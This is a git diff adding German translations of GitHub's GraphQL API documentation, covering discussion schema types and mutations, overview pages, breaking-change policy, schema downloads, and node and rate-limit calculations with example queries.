+Preconfigured background patterns that may be used to style discussions pinned within a repository.
+"""
+enum PinnedDiscussionPattern {
+  """
+  An upward-facing chevron pattern
+  """
+  CHEVRON_UP
+
+  """
+  A hollow dot pattern
+  """
+  DOT
+
+  """
+  A solid dot pattern
+  """
+  DOT_FILL
+
+  """
+  A heart pattern
+  """
+  HEART_FILL
+
+  """
+  A friendly octocat face pattern
+  """
+  OCTOFACE
+
+  """
+  A plus sign pattern
+  """
+  PLUS
+}
+```
+
+</details>
+
+#### PinnedDiscussionGradient
+
+<details>
+<summary>Werte</summary>
+
+```graphql
+"""
+Preconfigured gradients that may be used to style discussions pinned within a repository.
+"""
+enum PinnedDiscussionGradient {
+  """
+  A gradient of blue to mint
+  """
+  BLUE_MINT
+
+  """
+  A gradient of blue to purple
+  """
+  BLUE_PURPLE
+
+  """
+  A gradient of pink to blue
+  """
+  PINK_BLUE
+
+  """
+  A gradient of purple to coral
+  """
+  PURPLE_CORAL
+
+  """
+  A gradient of red to orange
+  """
+  RED_ORANGE
+}
+```
+
+</details>
+
+## Schnittstellen
+
+### RepositoryDiscussionAuthor
+
+Implementiert durch die `User` und `Organization` Typen. **Hinweis:** Ein `Organization` wird nur dann mit Diskussionen verbunden, wenn es aus einem `User` konvertiert wurde.
+
+<details>
+<summary>Felder</summary>
+
+```graphql
+"""
+Represents an author of discussions in repositories.
+"""
+interface RepositoryDiscussionAuthor {
+  """
+  Discussions this user has started.
+  """
+  repositoryDiscussions(
+    """
+    Returns the elements in the list that come after the specified cursor.
+    """
+    after: String
+
+    """
+    Filter discussions to only those that have been answered or not. Defaults to
+    including both answered and unanswered discussions.
+    """
+    answered: Boolean = null
+
+    """
+    Returns the elements in the list that come before the specified cursor.
+    """
+    before: String
+
+    """
+    Returns the first _n_ elements from the list.
+    """
+    first: Int
+
+    """
+    Returns the last _n_ elements from the list.
+    """
+    last: Int
+
+    """
+    Ordering options for discussions returned from the connection.
+    """
+    orderBy: DiscussionOrder = {field: CREATED_AT, direction: DESC}
+
+    """
+    Filter discussions to only those in a specific repository.
+    """
+    repositoryId: ID
+  ): DiscussionConnection!
+}
+```
+
+</details>
+
+### RepositoryDiscussionCommentAuthor
+
+Außerdem implementiert durch die `User` und `Organization` Typen.
+
+<details>
+<summary>Felder</summary>
+
+```graphql
+"""
+Represents an author of discussion comments in repositories.
+"""
+interface RepositoryDiscussionCommentAuthor {
+  """
+  Discussion comments this user has authored.
+  """
+  repositoryDiscussionComments(
+    """
+    Returns the elements in the list that come after the specified cursor.
+    """
+    after: String
+
+    """
+    Returns the elements in the list that come before the specified cursor.
+    """
+    before: String
+
+    """
+    Returns the first _n_ elements from the list.
+    """
+    first: Int
+
+    """
+    Returns the last _n_ elements from the list.
+    """
+    last: Int
+
+    """
+    Filter discussion comments to only those that were marked as the answer
+    """
+    onlyAnswers: Boolean = false
+
+    """
+    Filter discussion comments to only those in a specific repository.
+    """
+    repositoryId: ID
+  ): DiscussionCommentConnection!
+}
+```
+
+</details>
+
+## Mutationen
+
+Diese Mutationen folgen demselben Implementierungsmuster wie andere Mutationen in der GraphQL-API. Jede Mutation akzeptiert ein einzelnes Argument eines `Input` Typs, der nach der Mutation benannt ist, und gibt einen `Payload` Typ zurück, der die angegebenen Felder enthält.
+
+Dies ist beispielsweise eine grundlegende `createDiscussion` Mutation, die eine neue Diskussion schafft:
+
+```graphql
+mutation {
+  # input type: CreateDiscussionInput
+  createDiscussion(input: {repositoryId: "1234", categoryId: "5678", body: "The body", title: "The title"}) {
+
+    # response type: CreateDiscussionPayload
+    discussion {
+      id
+    }
+  }
+}
+```
+
+### createDiscussion
+
+Eingabefelder:
+
+* `body: String!` Der Textkörper der neuen Diskussion.
+* `title: String!` Der Titel der neuen Diskussion.
+* `repositoryId: ID!` Die ID eines Repositorys, in dem die Diskussion erstellt werden soll.
+* `categoryId: ID!` Die ID eines `DiscussionCategory` innerhalb dieses Repositorys.
+* `clientMutationId: String` Ein eindeutiger Bezeichner für den Client, der die Mutation ausführt.
+
+Rückgabetypfelder:
+
+* `clientMutationId: String` Der eindeutige Bezeichner, der als Eingabe bereitgestellt wird.
+* `discussion: Discussion` Die Diskussion, die erstellt wurde.
+
+### updateDiscussion
+
+Eingabefelder:
+
+* `discussionId: ID!` Die Knoten-ID der zu aktualisierenden Diskussion.
+* `body: String` Der neue Inhalt des Diskussionstexts.
+* `title: String` Der neue Diskussionstitel.
+* `categoryId: ID` Die Knoten-ID eines `DiscussionCategory` innerhalb desselben Repositorys, um diese Diskussion zu ändern.
+* `clientMutationId: String` Ein eindeutiger Bezeichner für den Client, der die Mutation ausführt.
+
+Rückgabetypfelder:
+
+* `clientMutationId: String` Der eindeutige Bezeichner, der als Eingabe bereitgestellt wird.
+* `discussion: Discussion` Die Diskussion, die geändert wurde.
+
+### deleteDiscussion
+Eingabefelder:
+
+* `id: ID!` Die Knoten-ID der zu löschenden Diskussion.
+* `clientMutationId: String` Ein eindeutiger Bezeichner für den Client, der die Mutation ausführt.
+
+Rückgabetypfelder:
+
+* `clientMutationId: String` Der eindeutige Bezeichner, der als Eingabe bereitgestellt wird.
+* `discussion: Discussion` Die Diskussion, die gelöscht wurde.
+
+### addDiscussionComment
+
+Eingabefelder:
+
+* `body: String!` Der Inhalt des Kommentars.
+* `discussionId: ID!` Die Knoten-ID der Diskussion, um zu kommentieren.
+* `replyToId: ID` Die Knoten-ID des Diskussionskommentars, um darauf zu antworten. Falls nicht vorhanden, ist der erstellte Kommentar ein Kommentar auf oberster Ebene.
+* `clientMutationId: String` Ein eindeutiger Bezeichner für den Client, der die Mutation ausführt.
+
+Rückgabetypfelder:
+
+* `clientMutationId: String` Der eindeutige Bezeichner, der als Eingabe bereitgestellt wird.
+* `comment: DiscussionComment` Der Diskussionskommentar, der erstellt wurde.
+
+### updateDiscussionComment
+
+Eingabefelder:
+
+* `body: String!` Der neue Inhalt des Kommentartexts.
+* `commentId: ID!` Die Knoten-ID des Diskussionskommentars, der aktualisiert werden soll.
+* `clientMutationId: String` Ein eindeutiger Bezeichner für den Client, der die Mutation ausführt.
+
+Rückgabetypfelder:
+
+* `clientMutationId: String` Der eindeutige Bezeichner, der als Eingabe bereitgestellt wird.
+* `comment: DiscussionComment` Der Diskussionskommentar, der aktualisiert wurde.
+
+### deleteDiscussionComment
+
+Eingabefelder:
+
+* `id: ID!` Die Knoten-ID des zu löschenden Diskussionskommentars.
+* `clientMutationId: String` Ein eindeutiger Bezeichner für den Client, der die Mutation ausführt.
+
+Rückgabetypfelder:
+
+* `clientMutationId: String` Der eindeutige Bezeichner, der als Eingabe bereitgestellt wird.
+* `comment: DiscussionComment` Der Diskussionskommentar, der gelöscht wurde.
+
+### markDiscussionCommentAsAnswer
+
+Eingabefelder:
+
+* `id: ID!` Die Knoten-ID des Diskussionskommentars, der als Antwort markiert werden soll.
+* `clientMutationId: String` Ein eindeutiger Bezeichner für den Client, der die Mutation ausführt.
+
+Rückgabetypfelder:
+
+* `clientMutationId: String` Der eindeutige Bezeichner, der als Eingabe bereitgestellt wird.
+* `discussion: Discussion` Die Diskussion, die den ausgewählten Kommentar enthält.
+
+### unmarkDiscussionCommentAsAnswer
+
+Eingabefelder:
+
+* `id: ID!` Die Knoten-ID des Diskussionskommentars, um als Antwort zu deaktivieren.
+* `clientMutationId: String` Ein eindeutiger Bezeichner für den Client, der die Mutation ausführt.
+
+Rückgabetypfelder:
+
+* `clientMutationId: String` Der eindeutige Bezeichner, der als Eingabe bereitgestellt wird.
+* `discussion: Discussion` Die Diskussion, die den unmarkierten Kommentar enthält.
+
+## Suchen,
+
+Die Diskussion kann von der obersten Ebene `search` Feld zurückgegeben werden. Um nach Diskussionen zu suchen, gibst du `type` als `DISCUSSION` an. Der `SearchResultItemConnection` Typ hat ein `discussionCount` Feld, um die Anzahl der zurückgegebenen Diskussionen zu melden, und der `Discussion` Typ wird der `SearchResultItem` Union hinzugefügt. Weitere Informationen findest du unter "[Abfragen](/graphql/reference/queries#searchresultitemconnection)" und "[Diskussionen durchsuchen](/search-github/searching-on-github/searching-discussions)."
diff --git a/translations/de-DE/content/graphql/index.md b/translations/de-DE/content/graphql/index.md
new file mode 100644
index 0000000000..ad0940ee7b
--- /dev/null
+++ b/translations/de-DE/content/graphql/index.md
@@ -0,0 +1,42 @@
+---
+title: GitHub-GraphQL-API
+intro: 'Verwende zum Erstellen von Integrationen, Abrufen von Daten und Automatisieren von Workflows die {% data variables.product.prodname_dotcom %}-GraphQL-API. Die {% data variables.product.prodname_dotcom %} GraphQL-API bietet präzisere und flexiblere Abfragen als die {% data variables.product.prodname_dotcom %}-REST-API.'
+shortTitle: GraphQL API
+introLinks:
+  overview: /graphql/overview/about-the-graphql-api
+featuredLinks:
+  guides:
+    - /graphql/guides/forming-calls-with-graphql
+    - /graphql/guides/introduction-to-graphql
+    - /graphql/guides/using-the-explorer
+  popular:
+    - /graphql/overview/explorer
+    - /graphql/overview/public-schema
+    - /graphql/overview/schema-previews
+    - /graphql/guides/using-the-graphql-api-for-discussions
+  guideCards:
+    - /graphql/guides/migrating-from-rest-to-graphql
+    - /graphql/guides/managing-enterprise-accounts
+    - /graphql/guides/using-global-node-ids
+changelog:
+  label: 'api, apis'
+layout: product-landing
+redirect_from:
+  - /v4
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+children:
+  - /overview
+  - /reference
+  - /guides
+ms.openlocfilehash: f2667239f87135b080691b535eaf6d2669a53f76
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145068424'
+---
+
diff --git a/translations/de-DE/content/graphql/overview/about-the-graphql-api.md b/translations/de-DE/content/graphql/overview/about-the-graphql-api.md
new file mode 100644
index 0000000000..9e664b44ce
--- /dev/null
+++ b/translations/de-DE/content/graphql/overview/about-the-graphql-api.md
@@ -0,0 +1,59 @@
+---
+title: About the GraphQL API
+intro: 'The {% data variables.product.prodname_dotcom %} GraphQL API offers flexibility and the ability to define precisely the data you want to fetch.'
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+topics:
+  - API
+---
+
+## Overview
+
+Here are some quick links to get you up and running with the GraphQL API:
+
+* [Authentication](/graphql/guides/forming-calls-with-graphql#authenticating-with-graphql)
+* [Root endpoint](/graphql/guides/forming-calls-with-graphql#the-graphql-endpoint)
+* [Schema introspection](/graphql/guides/introduction-to-graphql#discovering-the-graphql-api)
+* [Rate limits](/graphql/overview/resource-limitations)
+* [Migrating from REST](/graphql/guides/migrating-from-rest-to-graphql)
+
+For more information about {% data variables.product.company_short %}'s APIs, see "[About {% data variables.product.company_short %}'s APIs](/developers/overview/about-githubs-apis)."
+
+## About GraphQL
+
+The [GraphQL](https://graphql.github.io/) data query language is:
+
+* **A [specification](https://graphql.github.io/graphql-spec/June2018/).** The spec determines the validity of the [schema](/graphql/guides/introduction-to-graphql#schema) on the API server. The schema determines the validity of client calls.
+
+* **[Strongly typed](#about-the-graphql-schema-reference).** The schema defines an API's type system and all object relationships.
+
+* **[Introspective](/graphql/guides/introduction-to-graphql#discovering-the-graphql-api).** A client can query the schema for details about the schema.
+
+* **[Hierarchical](/graphql/guides/forming-calls-with-graphql).** The shape of a GraphQL call mirrors the shape of the JSON data it returns. [Nested fields](/graphql/guides/migrating-from-rest-to-graphql#example-nesting) let you query for and receive only the data you specify in a single round trip.
+
+* **An application layer.** GraphQL is not a storage model or a database query language. The _graph_ refers to graph structures defined in the schema, where [nodes](/graphql/guides/introduction-to-graphql#node) define objects and [edges](/graphql/guides/introduction-to-graphql#edge) define relationships between objects. The API traverses and returns application data based on the schema definitions, independent of how the data is stored.
+
+## Why GitHub is using GraphQL
+
+GitHub chose GraphQL because it offers significantly more flexibility for our integrators. The ability to define precisely the data you want&mdash;and _only_ the data you want&mdash;is a powerful advantage over traditional REST API endpoints. GraphQL lets you replace multiple REST requests with _a single call_ to fetch the data you specify.
+
+For more details about why GitHub invested in GraphQL, see the original [announcement blog post](https://github.blog/2016-09-14-the-github-graphql-api/).
+
+## About the GraphQL schema reference
+
+The docs in the sidebar are generated from the {% data variables.product.prodname_dotcom %} GraphQL [schema](/graphql/guides/introduction-to-graphql#discovering-the-graphql-api). All calls are validated and executed against the schema. Use these docs to find out what data you can call:
+
+* Allowed operations: [queries](/graphql/reference/queries) and [mutations](/graphql/reference/mutations).
+
+* Schema-defined types: [scalars](/graphql/reference/scalars), [objects](/graphql/reference/objects), [enums](/graphql/reference/enums), [interfaces](/graphql/reference/interfaces), [unions](/graphql/reference/unions), and [input objects](/graphql/reference/input-objects).
+
+You can access this same content via the [Explorer Docs sidebar](/graphql/guides/using-the-explorer#accessing-the-sidebar-docs). Note that you may need to rely on both the docs and the schema validation to successfully call the GraphQL API.
+
+For other information, such as authentication and rate limit details, check out the [guides](/graphql/guides).
+
+## Requesting support
+
+{% data reusables.support.help_resources %}
diff --git a/translations/de-DE/content/graphql/overview/breaking-changes.md b/translations/de-DE/content/graphql/overview/breaking-changes.md
new file mode 100644
index 0000000000..4fe5c00f56
--- /dev/null
+++ b/translations/de-DE/content/graphql/overview/breaking-changes.md
@@ -0,0 +1,29 @@
+---
+title: Aktuelle Änderungen
+intro: 'Erfahre mehr über aktuelle und bevorstehende Breaking Changes an der {% data variables.product.prodname_dotcom %}-GraphQL-API.'
+redirect_from:
+  - /v4/breaking_changes
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+topics:
+  - API
+ms.openlocfilehash: c76520b1f9dc806659373771b42501e072319937
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148109497'
+---
+## Informationen zu Breaking Changes
+
+Breaking Changes sind Änderungen, für die unsere Integratoren möglicherweise Maßnahmen ergreifen müssen. Diese Änderungen werden in zwei Kategorien unterteilt:
+
+- **Breaking Change:** Änderungen, die dazu führen, dass bereits vorhandene Abfragen für die GraphQL-API nicht mehr funktionieren. Ein Beispiel wäre etwa das Entfernen eines Felds.
+- **Gefährliche Änderung:** Änderungen, die nicht dazu führen, dass bereits vorhandene Abfragen nicht mehr funktionieren, aber das Laufzeitverhalten von Clients beeinflussen können. Ein Beispiel wäre etwa das Hinzufügen eines Enumerationswerts.
+
+Wir sind bestrebt, stabile APIs für unsere Integratoren bereitzustellen. Wenn ein neues Feature noch weiterentwickelt wird, wird es im Rahmen einer [Schemavorschau](/graphql/overview/schema-previews) veröffentlicht.
+
+Bevorstehende Breaking Changes werden von uns mindestens drei Monate vor der Implementierung der Änderung am GraphQL-Schema angekündigt, damit Integratoren genügend Zeit haben, die erforderlichen Anpassungen vorzunehmen. Änderungen werden am ersten Tag eines Quartals wirksam (also am 1. Januar, 1. April, 1. Juli oder 1. Oktober). Eine am 15. Januar angekündigte Änderung wird also beispielsweise am 1. Juli vorgenommen.
diff --git a/translations/de-DE/content/graphql/overview/changelog.md b/translations/de-DE/content/graphql/overview/changelog.md
new file mode 100644
index 0000000000..8b0335b7e8
--- /dev/null
+++ b/translations/de-DE/content/graphql/overview/changelog.md
@@ -0,0 +1,20 @@
+---
+title: Änderungsprotokoll
+intro: 'Das Änderungsprotokoll des GraphQL-Schemas ist eine Liste der jüngsten und kommenden Änderungen an unserem GraphQL-API-Schema. Es enthält abwärtskompatible Änderungen, eine Vorschau auf das Schema und bevorstehende Breaking Changes.'
+redirect_from:
+  - /v4/changelog
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+topics:
+  - API
+ms.openlocfilehash: 34f0baed8b75614c939281ed6a2393d7c809c82f
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148108454'
+---
+Zu den Breaking Changes gehören Änderungen, die vorhandene Abfragen unterbrechen oder das Laufzeitverhalten von Clients beeinflussen könnten. Eine Liste der Breaking Changes und wann sie auftreten, findest du in unserem [Breaking Changes-Protokoll](/graphql/overview/breaking-changes).
diff --git a/translations/de-DE/content/graphql/overview/explorer.md b/translations/de-DE/content/graphql/overview/explorer.md
new file mode 100644
index 0000000000..e21dda4c48
--- /dev/null
+++ b/translations/de-DE/content/graphql/overview/explorer.md
@@ -0,0 +1,21 @@
+---
+title: Explorer
+redirect_from:
+  - /v4/explorer
+  - /v4/explorer-new
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+layout: graphql-explorer
+topics:
+  - API
+ms.openlocfilehash: 5f881da248fb81fa4288d6af8984344f76991ca1
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145068409'
+---
+
diff --git a/translations/de-DE/content/graphql/overview/index.md b/translations/de-DE/content/graphql/overview/index.md
new file mode 100644
index 0000000000..349d487b92
--- /dev/null
+++ b/translations/de-DE/content/graphql/overview/index.md
@@ -0,0 +1,24 @@
+---
+title: Übersicht
+intro: 'Erfahre mehr über die {% data variables.product.prodname_dotcom %}-GraphQL-API, Vorschauen für bevorstehende Änderungen, Breaking Changes und Einschränkungen. Du kannst auch den GraphQL-Explorer verwenden, um mit der API für echte {% data variables.product.prodname_dotcom %}-Daten zu interagieren.'
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+children:
+  - /about-the-graphql-api
+  - /public-schema
+  - /schema-previews
+  - /breaking-changes
+  - /changelog
+  - /explorer
+  - /resource-limitations
+ms.openlocfilehash: 8476605072c24b3cd702bc62b34c6b29d062d340
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145068391'
+---
+
diff --git a/translations/de-DE/content/graphql/overview/public-schema.md b/translations/de-DE/content/graphql/overview/public-schema.md
new file mode 100644
index 0000000000..0a0c9b8504
--- /dev/null
+++ b/translations/de-DE/content/graphql/overview/public-schema.md
@@ -0,0 +1,40 @@
+---
+title: Öffentliches Schema
+intro: 'Lade das öffentliche Schema für die {% data variables.product.prodname_dotcom %} GraphQL-API herunter.'
+redirect_from:
+  - /v4/public_schema
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+topics:
+  - API
+ms.openlocfilehash: cb1c990506512c252b488b9d265cf8eb052435e2
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145068376'
+---
+Du kannst eine [Introspektion](/graphql/guides/introduction-to-graphql#discovering-the-graphql-api) direkt für die GraphQL-API ausführen.
+
+Alternativ kannst du die neueste Version des öffentlichen Schemas hier herunterladen:
+
+{% ifversion fpt or ghec %}
+
+[{% octicon "desktop-download" aria-label="The desktop download icon" %} `schema.docs.graphql`](/public/schema.docs.graphql)
+
+{% endif %}
+
+{% ifversion ghes %}
+
+[{% octicon "desktop-download" aria-label="The desktop download icon" %} `schema.docs-enterprise.graphql`](/public/ghes-{{ allVersions[currentVersion].currentRelease }}/schema.docs-enterprise.graphql) ({{ allVersions[currentVersion].versionTitle }})
+
+{% endif %}
+
+{% ifversion ghae %}
+
+[{% octicon "desktop-download" aria-label="The desktop download icon" %} `schema.docs-ghae.graphql`](/public/ghae/schema.docs-ghae.graphql) ({{ allVersions[currentVersion].versionTitle }})
+
+{% endif %}
diff --git a/translations/de-DE/content/graphql/overview/resource-limitations.md b/translations/de-DE/content/graphql/overview/resource-limitations.md
new file mode 100644
index 0000000000..612916f974
--- /dev/null
+++ b/translations/de-DE/content/graphql/overview/resource-limitations.md
@@ -0,0 +1,239 @@
+---
+title: Ressourcenbeschränkungen
+intro: 'Die Graph-API von {% data variables.product.prodname_dotcom %} hat einige Einschränkungen zum Schutz vor übermäßigen oder missbräuchlichen Aufrufen von {% data variables.product.prodname_dotcom %}-Servern.'
+redirect_from:
+  - /v4/guides/resource-limitations
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+topics:
+  - API
+ms.openlocfilehash: 7a0f040b86435573171c4022a72f8d558ad06c29
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '146381424'
+---
+## Knotenlimit
+
+Um die [Schemaüberprüfung](/graphql/guides/introduction-to-graphql#schema) zu bestehen, müssen alle GraphQL-API-[Aufrufe](/graphql/guides/forming-calls-with-graphql) folgende Standards erfüllen:
+
+* Clients müssen ein Argument `first` oder `last` für eine beliebige [Verbindung](/graphql/guides/introduction-to-graphql#connection) angeben.
+* Werte von `first` und `last` müssen innerhalb von 1-100 liegen.
+* Einzelne Aufrufe können nicht mehr als 500.000 [Knoten](/graphql/guides/introduction-to-graphql#node) insgesamt anfordern.
+
+### Berechnen von Knoten in einem Aufruf
+
+In diesen beiden Beispielen wird gezeigt, wie die Knoten insgesamt in einem Aufruf berechnet werden.
+
+1. Einfache Abfrage:
+
+  <pre>query {
+    viewer {
+      repositories(first: <span class="redbox">50</span>) {
+        edges {
+          repository:node {
+            name
+
+            issues(first: <span class="greenbox">10</span>) {
+              totalCount
+              edges {
+                node {
+                  title
+                  bodyHTML
+                }
+              }
+            }
+          }
+        }
+      }
+    }
+  }</pre>
+
+  Berechnung:
+
+  <pre><span class="redbox">50</span>         = 50 repositories
+   +
+  <span class="redbox">50</span> x <span class="greenbox">10</span>  = 500 repository issues
+
+              = 550 total nodes</pre>
+
+2. Komplexe Abfrage:
+
+  <pre>query {
+    viewer {
+      repositories(first: <span class="redbox">50</span>) {
+        edges {
+          repository:node {
+            name
+
+            pullRequests(first: <span class="greenbox">20</span>) {
+              edges {
+                pullRequest:node {
+                  title
+
+                  comments(first: <span class="bluebox">10</span>) {
+                    edges {
+                      comment:node {
+                        bodyHTML
+                      }
+                    }
+                  }
+                }
+              }
+            }
+
+            issues(first: <span class="greenbox">20</span>) {
+              totalCount
+              edges {
+                issue:node {
+                  title
+                  bodyHTML
+
+                  comments(first: <span class="bluebox">10</span>) {
+                    edges {
+                      comment:node {
+                        bodyHTML
+                      }
+                    }
+                  }
+                }
+              }
+            }
+          }
+        }
+      }
+
+      followers(first: <span class="bluebox">10</span>) {
+        edges {
+          follower:node {
+            login
+          }
+        }
+      }
+    }
+  }</code></pre>
+
+  Berechnung:
+
+  <pre><span class="redbox">50</span>              = 50 repositories
+   +
+  <span class="redbox">50</span> x <span class="greenbox">20</span>       = 1,000 pullRequests
+   +
+  <span class="redbox">50</span> x <span class="greenbox">20</span> x <span class="bluebox">10</span> = 10,000 pullRequest comments
+   +
+  <span class="redbox">50</span> x <span class="greenbox">20</span>       = 1,000 issues
+   +
+  <span class="redbox">50</span> x <span class="greenbox">20</span> x <span class="bluebox">10</span> = 10,000 issue comments
+   +
+  <span class="bluebox">10</span>              = 10 followers
+
+                   = 22,060 total nodes</pre>
+
+## Rate Limit
+
+Der GraphQL-API-Grenzwert unterscheidet sich von den REST-API-[Ratenbegrenzungen](/rest/overview/resources-in-the-rest-api#rate-limiting).
+
+Warum unterscheiden sich die API-Ratenbegrenzungen? Mit [GraphQL](/graphql) kann ein GraphQL-Aufruf [mehrere REST-Anrufe](/graphql/guides/migrating-from-rest-to-graphql) ersetzen. Ein einzelner komplexer GraphQL-Aufruf könnte das Äquivalent von Tausenden von REST-Anforderungen sein. Während ein einzelner GraphQL-Aufruf deutlich unter der REST-API-Ratenbegrenzung liegt, könnte die Abfrage für die GitHub-Server genauso teuer sein, um sie zu berechnen.
+
+Um die Serverkosten einer Abfrage genau darzustellen, berechnet die GraphQL-API basierend auf einer normalisierten Punkteskala eine **Bewertung der Ratenbegrenzung** des Aufrufs. Die Bewertungsfaktoren einer Abfrage in den ersten und letzten Argumenten für eine übergeordnete Verbindung und deren untergeordnete Elemente.
+
+* Die Formel verwendet die Argumente `first` und `last` für eine übergeordnete Verbindung und ihre untergeordneten Elemente, um die potenzielle Last auf GitHub-Systemen, wie MySQL, ElasticSearch und Git, vorzurechnen.
+* Jede neue Verbindung verfügt über einen eigenen Punktwert. Punkte werden mit anderen Punkten aus dem Aufruf in eine Bewertung der Gesamtratenbegrenzung kombiniert.
+
+Die GraphQL-API-Ratenbegrenzung beträgt **5.000 Punkte pro Stunde**. 
+
+Beachte, dass 5.000 Punkte pro Stunde nicht gleich 5.000 Aufrufe pro Stunde sind: Die GraphQL-API und die REST-API verwenden verschiedene Ratenbegrenzungen.
+
+{% note %}
+
+**Hinweis**: Änderungen an den aktuellen Formel- und Ratenbegrenzungen sind vorbehalten, da noch untersucht wird, wie Entwickler*innen die GraphQL-API verwenden.
+
+{% endnote %}
+
+### Zurückgeben des Ratenbegrenzungsstatus eines Anrufs
+
+Mit der REST-API kannst du den Ratenbegrenzungsstatus überprüfen, indem du die zurückgegebenen HTTP-Header [untersuchst](/rest/overview/resources-in-the-rest-api#rate-limiting).
+
+Mit der GraphQL-API kannst du den Ratenbegrenzungsstatus überprüfen, indem du die Felder im Objekt `rateLimit` abfragst:
+
+```graphql
+query {
+  viewer {
+    login
+  }
+  rateLimit {
+    limit
+    cost
+    remaining
+    resetAt
+  }
+}
+```
+
+* Das Feld `limit` gibt die maximale Anzahl von Punkten zurück, die der Client in einem 60-Minuten-Fenster verwenden darf.
+
+* Das Feld `cost` gibt die Punktkosten für den aktuellen Aufruf zurück, der gegen die Ratenbegrenzung zählt.
+
+* Das Feld `remaining` gibt die Anzahl der Punkte zurück, die im aktuellen Ratenbegrenzungsfenster verbleiben.)
+
+* Das Feld `resetAt` gibt die Zeit in [UTC-Epochensekunden](http://en.wikipedia.org/wiki/Unix_time) zurück, zu der das aktuelle Ratenbegrenzungsfenster zurückgesetzt wird.
+
+### Berechnen einer Ratenbegrenzungsbewertung vor dem Ausführen des Aufrufs
+
+Das Abfragen des Objekts `rateLimit` gibt die Bewertung eines Aufrufs zurück, aber das Ausführen des Aufrufs zählt gegen den Begrenzungswert. Um dieses Dilemma zu vermeiden, kannst du die Bewertung eines Aufrufs berechnen, bevor du ihn ausführst. Die folgende Berechnung funktioniert ungefähr mit den gleichen Kosten, die `rateLimit { cost }` zurückgibt.
+
+1. Füge die Anzahl der Anforderungen hinzu, die erforderlich sind, um jede eindeutige Verbindung im Aufruf zu erfüllen. Angenommen, jede Anforderung erreicht die Grenzwerte der Argumente `first` oder `last`.
+2. Teile die Zahl durch **100** und runde das Ergebnis ab, um die endgültigen Gesamtkosten zu erhalten. In diesem Schritt werden große Zahlen normalisiert.
+
+{% note %}
+
+**Hinweis**: Die Mindestkosten eines Aufrufs der GraphQL-API betragen **1**, was eine einzelne Anforderung darstellt.
+
+{% endnote %}
+
+Hier ist eine Beispielabfrage und Bewertungsberechnung:
+
+```graphql
+query {
+  viewer {
+    login
+    repositories(first: 100) {
+      edges {
+        node {
+          id
+
+          issues(first: 50) {
+            edges {
+              node {
+                id
+
+                labels(first: 60) {
+                  edges {
+                    node {
+                      id
+                      name
+                    }
+                  }
+                }
+              }
+            }
+          }
+        }
+      }
+    }
+  }
+}
+```
+
+Für diese Abfrage sind 5.101 Anforderungen erforderlich:
+
+* Obwohl 100 Repositorys zurückgeben werden, muss die API **einmal** eine Verbindung mit dem Konto des Viewers herstellen, um die Liste der Repositorys abzurufen. Daher, Anforderungen für Repositorys = **1**
+* Obwohl 50 Issues zurückgegeben werden, muss die API eine Verbindung mit jedem der **100** Repositorys herstellen, um die Liste der Issues abzurufen. Daher, Anforderungen für Issues = **100**
+* Obwohl 60 Bezeichnungen zurückgegeben werden, muss die API eine Verbindung mit jedem der insgesamt möglichen **5.000** potenziellen Issues herstellen, um die Liste der Bezeichnungen abzurufen. Daher, Anforderungen für Bezeichnungen = **5.000**
+* Gesamt = **5.101**
+
+Dividiert durch 100 und gerundet ergibt sich die endgültige Bewertung der Abfrage: **51**
diff --git a/translations/de-DE/content/graphql/overview/schema-previews.md b/translations/de-DE/content/graphql/overview/schema-previews.md
new file mode 100644
index 0000000000..06cb186555
--- /dev/null
+++ b/translations/de-DE/content/graphql/overview/schema-previews.md
@@ -0,0 +1,30 @@
+---
+title: Schemavorschauversionen
+intro: 'Sie können eine Vorschau auf kommende Features und Änderungen am GraphQL-Schema für {% data variables.product.prodname_dotcom %} einsehen, ehe sie der GraphQL-API für {% data variables.product.prodname_dotcom %} hinzugefügt werden.'
+redirect_from:
+  - /v4/previews
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+topics:
+  - API
+ms.openlocfilehash: 038afd8cbdd60863213eae385ec9a26f707f62d8
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148108451'
+---
+## Informationen zur Schemavorschauversionen
+
+Während des Vorschauzeitraums werden möglicherweise einige Features basierend auf Entwicklerfeedback geändert. Solche Änderungen werden im [Entwicklerblog](https://developer.github.com/changes/) ohne vorherige Benachrichtigung veröffentlicht.
+
